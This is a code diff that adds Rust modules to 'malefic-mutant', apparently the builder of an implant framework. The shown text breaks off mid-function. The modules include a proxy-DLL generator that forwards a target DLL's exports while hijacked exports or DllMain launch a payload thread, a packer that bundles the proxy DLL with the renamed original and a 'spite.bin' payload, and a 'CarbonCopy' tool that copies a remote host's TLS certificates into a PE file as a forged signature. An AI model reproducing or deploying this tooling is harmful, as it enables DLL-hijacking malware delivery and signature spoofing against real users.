+pub struct PEInfo { + // PE header location + pub pe_header_location: u32, + + // COFF Header fields + pub machine_type: u16, + pub number_of_sections: u16, + pub time_date_stamp: u32, + pub size_of_optional_header: u16, + pub characteristics: u16, + + // Optional Header fields + pub magic: u16, + pub major_linker_version: u8, + pub minor_linker_version: u8, + pub size_of_code: u32, + pub size_of_initialized_data: u32, + pub size_of_uninitialized_data: u32, + pub address_of_entry_point: u32, + pub base_of_code: u32, + pub base_of_data: Option, // Only in PE32 + pub image_base: u64, + pub section_alignment: u32, + pub file_alignment: u32, + pub major_os_version: u16, + pub minor_os_version: u16, + pub major_image_version: u16, + pub minor_image_version: u16, + pub major_subsystem_version: u16, + pub minor_subsystem_version: u16, + pub win32_version_value: u32, + pub size_of_image: u32, + pub size_of_headers: u32, + pub checksum: u32, + pub subsystem: u16, + pub dll_characteristics: u16, + pub size_of_stack_reserve: u64, + pub size_of_stack_commit: u64, + pub size_of_heap_reserve: u64, + pub size_of_heap_commit: u64, + pub loader_flags: u32, + pub number_of_rva_and_sizes: u32, + + // Data Directories + pub export_table_rva: u32, + pub export_table_size: u32, + pub import_table_rva: u32, + pub import_table_size: u32, + + // Certificate Table + pub cert_table_location: u32, // File offset to cert table entry + pub cert_location: u32, // File offset to actual certificate data + pub cert_size: u32, // Size of certificate data +} + +impl PEInfo { + pub fn new() -> Self { + Self { + pe_header_location: 0, + machine_type: 0, + number_of_sections: 0, + time_date_stamp: 0, + size_of_optional_header: 0, + characteristics: 0, + magic: 0, + major_linker_version: 0, + minor_linker_version: 0, + size_of_code: 0, + size_of_initialized_data: 0, + size_of_uninitialized_data: 0, + address_of_entry_point: 0, + base_of_code: 0, + base_of_data: None, + image_base: 0, + section_alignment: 0, + file_alignment: 0, + major_os_version: 0, + minor_os_version: 0, + major_image_version: 0, + minor_image_version: 0, + major_subsystem_version: 0, + minor_subsystem_version: 0, + win32_version_value: 0, + size_of_image: 0, + size_of_headers: 0, + checksum: 0, + subsystem: 0, + dll_characteristics: 0, + size_of_stack_reserve: 0, + size_of_stack_commit: 0, + size_of_heap_reserve: 0, + size_of_heap_commit: 0, + loader_flags: 0, + number_of_rva_and_sizes: 0, + export_table_rva: 0, + export_table_size: 0, + import_table_rva: 0, + import_table_size: 0, + cert_table_location: 0, + cert_location: 0, + cert_size: 0, + } + } + + pub fn is_signed(&self) -> bool { + self.cert_location != 0 && self.cert_size != 0 + } + + pub fn is_pe32_plus(&self) -> bool { + self.magic == 0x20B + } +} diff --git a/malefic-mutant/src/tool/proxydll/generator.rs b/malefic-mutant/src/tool/proxydll/generator.rs new file mode 100644 index 0000000..c7edce7 --- /dev/null +++ b/malefic-mutant/src/tool/proxydll/generator.rs @@ -0,0 +1,420 @@ +use crate::tool::pe::{ExportInfo, PEParser}; +use crate::{log_info, log_step, log_success}; +use anyhow::{anyhow, Result}; +use std::fs; +use std::path::Path; + +/// Update malefic-proxydll project with complete proxy DLL implementation +/// This function generates all necessary code files and configuration +/// +/// # Parameters +/// * `raw_dll` - Raw DLL path (for parsing exports) +/// * `proxied_dll` - Proxied DLL path (runtime forwarding target) +/// * `proxy_dll` - Proxy DLL name (generated proxy DLL name) +/// * `hijacked_exports` - Functions to hijack for payload execution +/// * `use_native_thread` - Use NtCreateThreadEx instead of std::thread +/// * `use_block` - Enable block feature +/// * `use_prelude` - Enable malefic-autorun feature +pub fn update_proxydll( + raw_dll: &str, + proxied_dll: &str, + proxy_dll: &str, + hijacked_exports: &[&str], + use_native_thread: bool, + use_block: bool, + use_prelude: bool, + hijacked_dllmain: bool, +) -> Result<()> { + if raw_dll.contains(' ') { + return Err(anyhow!( + "The raw DLL path cannot contain spaces. Use DOS short name instead." + )); + } + + // Parse DLL exports using PE parser + log_step!("Parsing DLL exports from: {}", raw_dll); + let exports = PEParser::parse_dll_exports(raw_dll)?; + if exports.is_empty() { + return Err(anyhow!("DLL without exports found")); + } + log_info!("Found {} exports in DLL", exports.len()); + + let project_root = Path::new("malefic-proxydll"); + if !project_root.exists() { + return Err(anyhow!( + "malefic-proxydll project not found. Make sure you're running from project root." + )); + } + + // Validate that hijacked exports exist in the DLL + log_step!("Validating hijacked exports..."); + validate_exports(&exports, hijacked_exports)?; + + // Generate all necessary files + log_step!("Generating proxy DLL library files..."); + build_lib( + &exports, + project_root, + proxied_dll, + hijacked_exports, + use_native_thread, + hijacked_dllmain, + )?; + + log_step!("Generating DEF file..."); + build_def(&exports, project_root, proxied_dll, hijacked_exports)?; + + log_step!("Updating Cargo.toml configuration..."); + update_cargo_toml(project_root, use_native_thread, use_block, use_prelude)?; + + // Success summary + log_success!("malefic-proxydll project updated successfully"); + log_step!("Configuration Summary:"); + log_info!(" Raw DLL: {}", raw_dll); + log_info!(" Proxied DLL: {}", proxied_dll); + log_info!(" Proxy DLL: {}", proxy_dll); + + if !hijacked_exports.is_empty() { + log_info!(" Hijacked exports: {}", hijacked_exports.join(", ")); + } + + log_step!("Enabled Features:"); + log_info!(" proxy: true (always enabled)"); + log_info!(" native_thread: {}", use_native_thread); + log_info!(" block: {}", use_block); + log_info!(" malefic-autorun: {}", use_prelude); + + log_step!("Next Steps:"); + log_info!(" Build: cargo build --release -p malefic-proxydll"); + log_info!(" (Features are pre-configured in Cargo.toml)"); + + Ok(()) +} + +/// Validate that all requested hijacked exports exist in the target DLL +fn validate_exports(exports: &[ExportInfo], hijacked_exports: &[&str]) -> Result<()> { + if hijacked_exports.is_empty() { + return Ok(()); + } + + for hijacked in hijacked_exports { + let found = exports.iter().any(|export| export.name == *hijacked); + if found { + log_info!(" Found export: {}", hijacked); + } else { + return Err(anyhow!( + "Hijacked export '{}' not found in target DLL", + hijacked + )); + } + } + Ok(()) +} + +/// Generate complete lib.rs file with all export functions +fn build_lib( + exports: &[ExportInfo], + project_root: &Path, + runtime_dll: &str, + hijacked_exports: &[&str], + _use_native_thread: bool, + hijack_dll_main: bool, +) -> Result<()> { + let hijacked_functions = build_hijacked_exports(exports, hijacked_exports); + // NOTE: Forwarded exports are handled entirely by the .def file + // Empty stubs are no longer generated as they are unnecessary and can cause + // compilation errors when export names contain illegal characters + let function_names_array = build_function_names_array(hijacked_exports); + + let mut lib_content = format!( + r#"// Auto-generated proxy DLL library +// DO NOT EDIT MANUALLY - Generated by malefic-mutant + +mod payload; + +use lazy_static::lazy_static; +use std::sync::{{Arc, Mutex}}; +use malefic_os_win::kit::apis::{{m_load_library_a, m_get_func_addr_with_module_base}}; + +const DLL_NAME: &str = r"{}"; +static mut ADDRESS: usize = 0; + +lazy_static! {{ + static ref MUTEX: Arc> = Arc::new(Mutex::new(0)); +}} + +// Static array of hijacked function names +const HIJACKED_FUNCTIONS: &[&str] = &[ +{}]; + +/// Core gateway function that handles DLL hijacking logic +pub fn gateway( + arg1: u64, arg2: u64, arg3: u64, arg4: u64, arg5: u64, + arg6: u64, arg7: u64, arg8: u64, arg9: u64, arg10: u64, + arg11: u64, arg12: u64, arg13: u64, arg14: u64, arg15: u64, + arg16: u64, arg17: u64, arg18: u64, arg19: u64, arg20: u64, + index: u32 +) -> u64 {{ + let flag = Arc::clone(&MUTEX); + let mut flag = flag.lock().unwrap(); + if *flag == 0 {{ + *flag += 1; + crate::payload::create_payload_thread(); + #[cfg(feature = "block")] + loop {{ + std::thread::sleep(std::time::Duration::from_secs(u64::MAX)); + }} + + }} + + unsafe {{ + if ADDRESS != 0 {{ + let func: extern "system" fn(u64,u64,u64,u64,u64,u64,u64,u64,u64,u64,u64,u64,u64,u64,u64,u64,u64,u64,u64,u64) -> u64 + = std::mem::transmute(ADDRESS); + return func(arg1,arg2,arg3,arg4,arg5,arg6,arg7,arg8,arg9,arg10,arg11,arg12,arg13,arg14,arg15,arg16,arg17,arg18,arg19,arg20); + }} + }} + + let func_name = if (index as usize) < HIJACKED_FUNCTIONS.len() {{ + HIJACKED_FUNCTIONS[index as usize] + }} else {{ + "" + }}; + + if func_name.is_empty() {{ + return 0; + }} + + // Convert DLL name to null-terminated C string + let dll_name_cstr = format!("{{}}\\0", DLL_NAME); + let dll_address = unsafe {{ m_load_library_a(dll_name_cstr.as_ptr()) }}; + if dll_address.is_null() {{ + return 0; + }} + + // Get function address using module base + let func_address = unsafe {{ + m_get_func_addr_with_module_base( + dll_address as *const core::ffi::c_void, + func_name.as_bytes() + ) + }}; + + if func_address.is_null() {{ + return 0; + }} + + unsafe {{ + ADDRESS = func_address as usize; + let func: extern "system" fn(u64,u64,u64,u64,u64,u64,u64,u64,u64,u64,u64,u64,u64,u64,u64,u64,u64,u64,u64,u64) -> u64 + = std::mem::transmute(ADDRESS); + func(arg1,arg2,arg3,arg4,arg5,arg6,arg7,arg8,arg9,arg10,arg11,arg12,arg13,arg14,arg15,arg16,arg17,arg18,arg19,arg20) + }} +}} + +// Export functions that call our gateway (hijacked) +// Note: Forwarded exports are handled by proxy.def file, no Rust stubs needed +{} +"#, + runtime_dll, function_names_array, hijacked_functions + ); + + let dll_main_hijack_content = r#" + + +use windows::Win32::Foundation::HINSTANCE; +// Will hijack dll_main +#[no_mangle] +#[allow(non_snake_case)] +pub extern "system" fn DllMain( + hModule: HINSTANCE, + dwReason: u32, + lpReserved: *mut core::ffi::c_void, +) -> bool { + match dwReason { + DLL_PROCESS_ATTACH => { + let flag = Arc::clone(&MUTEX); + let mut flag = flag.lock().unwrap(); + if *flag == 0 {{ + *flag += 1; + crate::payload::create_payload_thread(); + #[cfg(feature = "block")] + loop {{ + std::thread::sleep(std::time::Duration::from_secs(u64::MAX)); + }} + + }} + } + DLL_PROCESS_DETACH => { + } + DLL_THREAD_ATTACH => { + } + DLL_THREAD_DETACH => { + } + _ => {} + } + true // Return true to indicate success +} + "#; + + if hijack_dll_main { + lib_content = lib_content + dll_main_hijack_content + }; + + let lib_path = project_root.join("src/lib.rs"); + fs::write(lib_path, lib_content)?; + log_success!("Generated lib.rs"); + Ok(()) +} + +/// Generate static array of hijacked function names +fn build_function_names_array(hijacked_exports: &[&str]) -> String { + hijacked_exports + .iter() + .map(|export| format!(" \"{}\",", export)) + .collect::>() + .join("\n") +} + +/// Generate hijacked export functions that call gateway +fn build_hijacked_exports(exports: &[ExportInfo], hijacked_exports: &[&str]) -> String { + let mut functions = String::new(); + + for export in exports { + if hijacked_exports.contains(&export.name.as_str()) { + let index = hijacked_exports + .iter() + .position(|&x| x == export.name) + .unwrap(); + + functions.push_str(&format!( + r#" +#[no_mangle] +pub extern "C" fn {}( + arg1: u64, arg2: u64, arg3: u64, arg4: u64, arg5: u64, + arg6: u64, arg7: u64, arg8: u64, arg9: u64, arg10: u64, + arg11: u64, arg12: u64, arg13: u64, arg14: u64, arg15: u64, + arg16: u64, arg17: u64, arg18: u64, arg19: u64, arg20: u64 +) -> u64 {{ + gateway( + arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9, arg10, + arg11, arg12, arg13, arg14, arg15, arg16, arg17, arg18, arg19, arg20, + {} + ) +}} +"#, + export.name, index + )); + } + } + + functions +} + +/// Generate forwarded export functions (empty stubs) +/// +/// DEPRECATED: This function is no longer used. +/// Forwarded exports are now handled entirely by the .def file. +/// Empty stubs were causing issues: +/// 1. DEF file already defines forwarding rules (export_name=dll.export_name) +/// 2. Linker generates correct export table from .def file alone +/// 3. Some function names contain illegal characters causing Rust compilation failures +#[allow(dead_code)] +fn build_forwarded_exports(exports: &[ExportInfo], hijacked_exports: &[&str]) -> String { + let mut functions = String::new(); + + for export in exports { + if !hijacked_exports.contains(&export.name.as_str()) { + functions.push_str(&format!( + r#" +#[no_mangle] +pub extern "C" fn {}() {{}} +"#, + export.name + )); + } + } + + functions +} + +/// Generate .def file for proper DLL exports +fn build_def( + exports: &[ExportInfo], + project_root: &Path, + runtime_dll: &str, + hijacked_exports: &[&str], +) -> Result<()> { + let mut def_content = String::from("EXPORTS\n"); + + for export in exports { + if hijacked_exports.contains(&export.name.as_str()) { + // Hijacked function, no forwarding + def_content.push_str(&format!("{} @{}\n", export.name, export.ordinal)); + } else { + // Forward to original DLL + def_content.push_str(&format!( + "{}={}.{} @{}\n", + export.name, runtime_dll, export.name, export.ordinal + )); + } + } + + let def_path = project_root.join("proxy.def"); + fs::write(def_path, def_content)?; + log_success!("Generated proxy.def"); + Ok(()) +} + +/// Update Cargo.toml with dynamic features based on configuration +fn update_cargo_toml( + project_root: &Path, + use_native_thread: bool, + use_block: bool, + use_prelude: bool, +) -> Result<()> { + use toml_edit::{Array, DocumentMut, Item}; + + let cargo_toml_path = project_root.join("Cargo.toml"); + let cargo_toml_content = fs::read_to_string(&cargo_toml_path)?; + let mut cargo_toml: DocumentMut = cargo_toml_content + .parse() + .map_err(|e| anyhow!("Failed to parse Cargo.toml: {}", e))?; + + // Update default features + if let Some(features) = cargo_toml["features"].as_table_mut() { + let mut default_features = Array::new(); + default_features.push("proxy"); + + if use_native_thread { + default_features.push("native_thread"); + } + if use_block { + default_features.push("block"); + } + if use_prelude { + default_features.push("malefic-autorun"); + } + + features["default"] = Item::Value(default_features.into()); + } else { + return Err(anyhow!("Failed to find 'features' in Cargo.toml")); + } + + // Ensure malefic-autorun dependency exists if needed + if use_prelude { + if let Some(deps) = cargo_toml["dependencies"].as_table_mut() { + if !deps.contains_key("malefic-autorun") { + // Add malefic-autorun as optional dependency + deps["malefic-autorun"] = toml_edit::value(toml_edit::InlineTable::from_iter([ + ("path", "../malefic-crates/autorun"), + ("optional", "true"), + ])); + } + } + } + + fs::write(cargo_toml_path, cargo_toml.to_string())?; + log_success!("Updated Cargo.toml with features"); + Ok(()) +} diff --git a/malefic-mutant/src/tool/proxydll/mod.rs b/malefic-mutant/src/tool/proxydll/mod.rs new file mode 100644 index 0000000..2f4d52a --- /dev/null +++ b/malefic-mutant/src/tool/proxydll/mod.rs @@ -0,0 +1,131 @@ +// Modular generator is still needed for generate command +pub mod generator; +pub mod packer; + +use crate::{log_step, log_success}; +pub use generator::update_proxydll; +pub use packer::ProxyDllPacker; +#[allow(unused_imports)] +pub use packer::ProxyDllResource; + +/// Process ProxyDLL resources after build completion +pub fn process_proxydll_resources(binary_path: &str, _target: &str) -> anyhow::Result<()> { + use crate::config::Implant; + use serde_yaml; + use std::path::Path; + + // Read implant.yaml to get proxydll configuration + let implant_config_content = std::fs::read_to_string("implant.yaml")?; + let implant_config: Implant = serde_yaml::from_str(&implant_config_content)?; + + if let Some(loader_config) = implant_config.loader { + if let Some(proxydll_config) = loader_config.proxydll { + if proxydll_config.pack_resources { + log_step!("Processing and packing ProxyDLL resources..."); + + let proxy_dll_name = proxydll_config.proxy_dll.clone().unwrap_or_else(|| { + Path::new(binary_path) + .file_name() + .and_then(|n| n.to_str()) + .unwrap_or("unknown.dll") + .to_string() + }); + let packer = ProxyDllPacker::new( + &proxydll_config.resource_dir, + Path::new(binary_path) + .parent() + .unwrap_or_else(|| Path::new(".")) + .to_str() + .unwrap(), + &proxy_dll_name, + &proxydll_config.proxied_dll, + ); + + // Create output directory + let output_dir = Path::new("resources/proxydll_out"); + std::fs::create_dir_all(output_dir)?; + + // Process resources and resolve conflicts + let resources = if Path::new(&proxydll_config.resource_dir).exists() { + log_step!("Resource directory found: {}", proxydll_config.resource_dir); + packer.process_resources()? + } else { + log_step!( + "Warning: Resource directory not found: {}", + proxydll_config.resource_dir + ); + Vec::new() + }; + log_step!("Processed {} resource files", resources.len()); + + // Debug: print all processed resources + for resource in &resources { + log_step!( + "Resource: {} (path: {}, generated: {})", + resource.name, + resource.path.display(), + resource.is_generated + ); + } + + // Copy all files to output directory (excluding generated DLL which will be handled separately) + for resource in &resources { + if !resource.is_generated && resource.path.exists() { + let dest_path = output_dir.join(&resource.name); + std::fs::copy(&resource.path, &dest_path)?; + log_step!( + "Copied {} to output directory from {}", + resource.name, + resource.path.display() + ); + } else if !resource.is_generated { + log_step!( + "Skipping {} (file not found at {})", + resource.name, + resource.path.display() + ); + } + } + + // Copy generated DLL to output directory with correct name + let proxy_dll_name = proxydll_config.proxy_dll.clone().unwrap_or_else(|| { + Path::new(binary_path) + .file_name() + .and_then(|n| n.to_str()) + .unwrap_or("unknown.dll") + .to_string() + }); + let dll_dest = output_dir.join(&proxy_dll_name); + std::fs::copy(binary_path, &dll_dest)?; + log_step!( + "Copied generated DLL as {} to output directory", + proxy_dll_name + ); + + // Include spite.bin if configured (for external_spite mode) + if proxydll_config.include_spite { + let spite_path = Path::new(&proxydll_config.spite_path); + if spite_path.exists() { + let spite_dest = output_dir.join("spite.bin"); + std::fs::copy(spite_path, &spite_dest)?; + log_step!( + "Included spite.bin from {} for external_spite mode", + proxydll_config.spite_path + ); + } else { + log_step!( + "Warning: spite.bin not found at {}, skipping", + proxydll_config.spite_path + ); + } + } + + // Pack output directory into program.zip + let zip_path = packer.pack_output_directory(output_dir)?; + log_success!("Resource pack created: {}", zip_path.display()); + } + } + } + + Ok(()) +} diff --git a/malefic-mutant/src/tool/proxydll/packer.rs b/malefic-mutant/src/tool/proxydll/packer.rs new file mode 100644 index 0000000..352464b --- /dev/null +++ b/malefic-mutant/src/tool/proxydll/packer.rs @@ -0,0 +1,213 @@ +use anyhow::{anyhow, Result}; +use std::collections::HashMap; +use std::fs; +use std::io::Write; +use std::path::{Path, PathBuf}; +use zip::{write::FileOptions, ZipWriter}; + +#[derive(Debug, Clone)] +pub struct ProxyDllResource { + pub name: String, + pub path: PathBuf, + pub is_generated: bool, +} + +pub struct ProxyDllPacker { + resource_dir: PathBuf, + output_dir: PathBuf, + generated_dll_name: String, + proxied_dll_name: String, +} + +impl ProxyDllPacker { + pub fn new( + resource_dir: &str, + output_dir: &str, + generated_dll_name: &str, + proxied_dll_name: &str, + ) -> Self { + Self { + resource_dir: PathBuf::from(resource_dir), + output_dir: PathBuf::from(output_dir), + generated_dll_name: generated_dll_name.to_string(), + proxied_dll_name: proxied_dll_name.to_string(), + } + } + + /// Process resources and resolve conflicts + /// Returns list of resources with their target names and source paths + /// Does NOT modify the source directory - renaming happens during copy + pub fn process_resources(&self) -> Result> { + let mut resources = Vec::new(); + + // Ensure resource directory exists + if !self.resource_dir.exists() { + return Err(anyhow!( + "Resource directory does not exist: {:?}", + self.resource_dir + )); + } + + // Scan resource directory for all files + let mut existing_files = HashMap::new(); + for entry in fs::read_dir(&self.resource_dir)? { + let entry = entry?; + let path = entry.path(); + + if path.is_file() { + let file_name = path + .file_name() + .and_then(|n| n.to_str()) + .ok_or_else(|| anyhow!("Invalid file name: {:?}", path))? + .to_string(); + + existing_files.insert(file_name.clone(), path); + } + } + + // Handle conflict with generated DLL + if let Some(conflicting_path) = existing_files.get(&self.generated_dll_name) { + let conflicting_base = self.get_basename(&self.generated_dll_name); + let target_base = self.get_basename(&self.proxied_dll_name); + + if conflicting_base == target_base { + // Scenario 1: Same basename (system DLL scenario) + // The conflict file is likely the original system DLL, will be backed up during copy + log::info!("Conflict detected: '{}' has same basename as target '{}'. Will backup during copy.", + self.generated_dll_name, self.proxied_dll_name); + + // Add as backup resource + resources.push(ProxyDllResource { + name: format!("{}.backup", self.generated_dll_name), + path: conflicting_path.clone(), + is_generated: false, + }); + + // Remove from existing_files so it won't be added again + existing_files.remove(&self.generated_dll_name); + } else { + // Scenario 2: Different basename (same-directory scenario) + // Will be renamed to proxied_dll during copy + log::info!( + "Will rename '{}' to '{}' during copy to avoid conflict", + self.generated_dll_name, + self.proxied_dll_name + ); + + // Add with target name but source path + resources.push(ProxyDllResource { + name: self.proxied_dll_name.clone(), + path: conflicting_path.clone(), + is_generated: false, + }); + + // Remove from existing_files so it won't be added again + existing_files.remove(&self.generated_dll_name); + } + } + + // Add all remaining files from resource directory + for (file_name, path) in existing_files { + resources.push(ProxyDllResource { + name: file_name, + path, + is_generated: false, + }); + } + + // Add the generated DLL (will be created by generator.rs) + resources.push(ProxyDllResource { + name: self.generated_dll_name.clone(), + path: self.output_dir.join(&self.generated_dll_name), + is_generated: true, + }); + + Ok(resources) + } + + /// Pack resources into program.zip + #[allow(dead_code)] + pub fn pack_resources(&self, resources: &[ProxyDllResource]) -> Result { + let zip_path = self.output_dir.join("program.zip"); + let file = fs::File::create(&zip_path)?; + let mut zip = ZipWriter::new(file); + let options = FileOptions::default().compression_method(zip::CompressionMethod::Stored); + + for resource in resources { + // Skip generated files that don't exist yet + if resource.is_generated && !resource.path.exists() { + log::warn!("Generated file not found: {:?}", resource.path); + continue; + } + + let file_name = &resource.name; + zip.start_file(file_name, options)?; + + let file_content = fs::read(&resource.path)?; + zip.write_all(&file_content)?; + + log::info!("Added to zip: {} -> {}", file_name, zip_path.display()); + } + + zip.finish()?; + log::info!("Resource pack created: {}", zip_path.display()); + + Ok(zip_path) + } + + /// Pack output directory into program.zip + pub fn pack_output_directory(&self, output_dir: &Path) -> Result { + // Create zip in build output directory instead of proxydll_out + let zip_path = PathBuf::from(self.output_dir.clone()).join("program.zip"); + let file = fs::File::create(&zip_path)?; + let mut zip = ZipWriter::new(file); + let options = FileOptions::default().compression_method(zip::CompressionMethod::Stored); + + // Walk through all files in the output directory + for entry in fs::read_dir(output_dir)? { + let entry = entry?; + let path = entry.path(); + + if path.is_file() { + let file_name = path + .file_name() + .and_then(|n| n.to_str()) + .ok_or_else(|| anyhow!("Invalid file name: {:?}", path))?; + + // Skip program.zip itself + if file_name == "program.zip" { + continue; + } + + let relative_path = path + .strip_prefix(output_dir) + .map_err(|_| anyhow!("Failed to create relative path for {:?}", path))?; + + zip.start_file(relative_path.to_str().unwrap_or(file_name), options)?; + + let file_content = fs::read(&path)?; + zip.write_all(&file_content)?; + + log::info!( + "Added to zip: {} -> {}", + relative_path.display(), + zip_path.display() + ); + } + } + + zip.finish()?; + log::info!("Output directory pack created: {}", zip_path.display()); + + Ok(zip_path) + } + + /// Get base name without extension + fn get_basename(&self, filename: &str) -> String { + Path::new(filename) + .file_stem() + .and_then(|n| n.to_str()) + .unwrap_or(filename) + .to_string() + } +} diff --git a/malefic-mutant/src/tool/sigforge/carbon_copy.rs b/malefic-mutant/src/tool/sigforge/carbon_copy.rs new file mode 100644 index 0000000..055e1dd --- /dev/null +++ b/malefic-mutant/src/tool/sigforge/carbon_copy.rs @@ -0,0 +1,204 @@ +/// CarbonCopy: clone a TLS certificate from a remote host and inject it into a PE file. +/// +/// Connects to a remote server via TLS, extracts the server certificate chain, +/// and constructs a WIN_CERTIFICATE structure to embed in the target PE. +use anyhow::{anyhow, Result}; +use std::io::Read; +use std::net::TcpStream; +use std::sync::Arc; + +use super::inject::SignatureInjector; + +/// Connect to a remote host via TLS and extract the server certificate chain as DER bytes. +fn fetch_remote_certificates(host: &str, port: u16) -> Result>> { + // Use a permissive verifier to accept any cert (including self-signed) + let config = build_permissive_config(); + + let server_name = rustls::pki_types::ServerName::try_from(host.to_string()) + .map_err(|e| anyhow!("Invalid server name '{}': {}", host, e))?; + + let mut conn = rustls::ClientConnection::new(Arc::new(config), server_name) + .map_err(|e| anyhow!("TLS connection setup failed: {}", e))?; + + let mut sock = TcpStream::connect(format!("{}:{}", host, port)) + .map_err(|e| anyhow!("TCP connection to {}:{} failed: {}", host, port, e))?; + + // Complete the TLS handshake + let mut stream = rustls::Stream::new(&mut conn, &mut sock); + // Read a single byte to trigger handshake completion (ignore errors — we just need the handshake) + let mut buf = [0u8; 1]; + let _ = stream.read(&mut buf); + + let certs = conn + .peer_certificates() + .ok_or_else(|| anyhow!("No certificates received from {}:{}", host, port))?; + + if certs.is_empty() { + return Err(anyhow!("Empty certificate chain from {}:{}", host, port)); + } + + Ok(certs.iter().map(|c| c.as_ref().to_vec()).collect()) +} + +/// Build a rustls ClientConfig that does not verify server certificates. +/// This allows us to extract certificates from any server, even self-signed. +fn build_permissive_config() -> rustls::ClientConfig { + let verifier = Arc::new(NoVerifier); + rustls::ClientConfig::builder() + .dangerous() + .with_custom_certificate_verifier(verifier) + .with_no_client_auth() +} + +/// A certificate verifier that accepts everything. +#[derive(Debug)] +struct NoVerifier; + +impl rustls::client::danger::ServerCertVerifier for NoVerifier { + fn verify_server_cert( + &self, + _end_entity: &rustls::pki_types::CertificateDer<'_>, + _intermediates: &[rustls::pki_types::CertificateDer<'_>], + _server_name: &rustls::pki_types::ServerName<'_>, + _ocsp_response: &[u8], + _now: rustls::pki_types::UnixTime, + ) -> std::result::Result { + Ok(rustls::client::danger::ServerCertVerified::assertion()) + } + + fn verify_tls12_signature( + &self, + _message: &[u8], + _cert: &rustls::pki_types::CertificateDer<'_>, + _dss: &rustls::DigitallySignedStruct, + ) -> std::result::Result { + Ok(rustls::client::danger::HandshakeSignatureValid::assertion()) + } + + fn verify_tls13_signature( + &self, + _message: &[u8], + _cert: &rustls::pki_types::CertificateDer<'_>, + _dss: &rustls::DigitallySignedStruct, + ) -> std::result::Result { + Ok(rustls::client::danger::HandshakeSignatureValid::assertion()) + } + + fn supported_verify_schemes(&self) -> Vec { + vec![ + rustls::SignatureScheme::RSA_PKCS1_SHA256, + rustls::SignatureScheme::RSA_PKCS1_SHA384, + rustls::SignatureScheme::RSA_PKCS1_SHA512, + rustls::SignatureScheme::ECDSA_NISTP256_SHA256, + rustls::SignatureScheme::ECDSA_NISTP384_SHA384, + rustls::SignatureScheme::ECDSA_NISTP521_SHA512, + rustls::SignatureScheme::RSA_PSS_SHA256, + rustls::SignatureScheme::RSA_PSS_SHA384, + rustls::SignatureScheme::RSA_PSS_SHA512, + rustls::SignatureScheme::ED25519, + rustls::SignatureScheme::ED448, + ] + } +} + +/// Construct a WIN_CERTIFICATE structure from DER certificate data. +/// +/// WIN_CERTIFICATE layout: +/// dwLength: u32 (total size including header) +/// wRevision: u16 (0x0200 = WIN_CERT_REVISION_2_0) +/// wCertificateType: u16 (0x0002 = WIN_CERT_TYPE_PKCS_SIGNED_DATA) +/// bCertificate: [u8] (DER-encoded certificate data) +/// +/// The structure is padded to 8-byte alignment. +fn build_win_certificate(der_certs: &[Vec]) -> Vec { + // Concatenate all cert DER data + let total_cert_len: usize = der_certs.iter().map(|c| c.len()).sum(); + let header_len = 8u32; // dwLength(4) + wRevision(2) + wCertificateType(2) + let dw_length = header_len + total_cert_len as u32; + + // Align to 8 bytes + let aligned_length = (dw_length + 7) & !7; + + let mut result = Vec::with_capacity(aligned_length as usize); + result.extend_from_slice(&dw_length.to_le_bytes()); // dwLength + result.extend_from_slice(&0x0200u16.to_le_bytes()); // wRevision = WIN_CERT_REVISION_2_0 + result.extend_from_slice(&0x0002u16.to_le_bytes()); // wCertificateType = PKCS_SIGNED_DATA + + for cert in der_certs { + result.extend_from_slice(cert); + } + + // Pad to 8-byte alignment + while result.len() < aligned_length as usize { + result.push(0); + } + + result +} + +/// Load certificate from a local DER or PEM file. +fn load_cert_from_file(cert_path: &str) -> Result>> { + let data = std::fs::read(cert_path) + .map_err(|e| anyhow!("Failed to read certificate file '{}': {}", cert_path, e))?; + + // Check if PEM (starts with "-----BEGIN") + if data.starts_with(b"-----BEGIN") { + let pem_str = String::from_utf8(data) + .map_err(|_| anyhow!("Certificate file contains invalid UTF-8"))?; + + let mut certs = Vec::new(); + let mut in_cert = false; + let mut b64_buf = String::new(); + + for line in pem_str.lines() { + if line.starts_with("-----BEGIN") { + in_cert = true; + b64_buf.clear(); + } else if line.starts_with("-----END") { + in_cert = false; + let der = + base64::Engine::decode(&base64::engine::general_purpose::STANDARD, &b64_buf) + .map_err(|e| anyhow!("Failed to decode PEM base64: {}", e))?; + certs.push(der); + } else if in_cert { + b64_buf.push_str(line.trim()); + } + } + + if certs.is_empty() { + return Err(anyhow!("No certificates found in PEM file")); + } + Ok(certs) + } else { + // Assume DER format + Ok(vec![data]) + } +} + +/// CarbonCopy: clone a certificate and inject it into a target PE. +/// +/// - If `host` is provided, fetches the certificate from the remote server via TLS. +/// - If `cert_file` is provided, loads the certificate from a local DER/PEM file. +/// - Constructs a WIN_CERTIFICATE and injects it into the target PE. +pub fn carbon_copy( + host: Option<&str>, + port: u16, + cert_file: Option<&str>, + target_path: &str, + output_path: Option<&str>, +) -> Result { + let der_certs = if let Some(cert_path) = cert_file { + load_cert_from_file(cert_path)? + } else if let Some(hostname) = host { + fetch_remote_certificates(hostname, port)? + } else { + return Err(anyhow!("Either --host or --cert-file must be specified")); + }; + + let win_cert = build_win_certificate(&der_certs); + + let result_path = + SignatureInjector::inject_signature_data(&win_cert, target_path, output_path)?; + + Ok(result_path) +} diff --git a/malefic-mutant/src/tool/sigforge/error.rs b/malefic-mutant/src/tool/sigforge/error.rs new file mode 100644 index 0000000..daa3b49 --- /dev/null +++ b/malefic-mutant/src/tool/sigforge/error.rs @@ -0,0 +1,27 @@ +use thiserror::Error; + +#[derive(Error, Debug)] +pub enum SignError { + #[error("IO error: {0}")] + Io(#[from] std::io::Error), + + #[error("Invalid PE file: {0}")] + InvalidPe(String), + + #[error("File is not signed")] + NotSigned, + + #[error("Invalid signature data")] + #[allow(dead_code)] + InvalidSignature, + + #[error("Parse error: {0}")] + #[allow(dead_code)] + Parse(String), + + #[error("Anyhow error: {0}")] + Anyhow(#[from] anyhow::Error), +} + +#[allow(dead_code)] +pub type Result = std::result::Result; diff --git a/malefic-mutant/src/tool/sigforge/extract.rs b/malefic-mutant/src/tool/sigforge/extract.rs new file mode 100644 index 0000000..68435f4 --- /dev/null +++ b/malefic-mutant/src/tool/sigforge/extract.rs @@ -0,0 +1,53 @@ +use std::fs::File; +use std::io::{Read, Seek, SeekFrom}; + +use crate::tool::pe::structures::PEInfo; +use crate::tool::pe::PEParser; +use crate::tool::sigforge::error::SignError; + +type Result = std::result::Result; + +pub struct SignatureExtractor; + +impl SignatureExtractor { + /// Extract signature from a signed PE file + pub fn extract_from_file(file_path: &str) -> Result> { + let pe_info = PEParser::parse_file(file_path)?; + + if !pe_info.is_signed() { + return 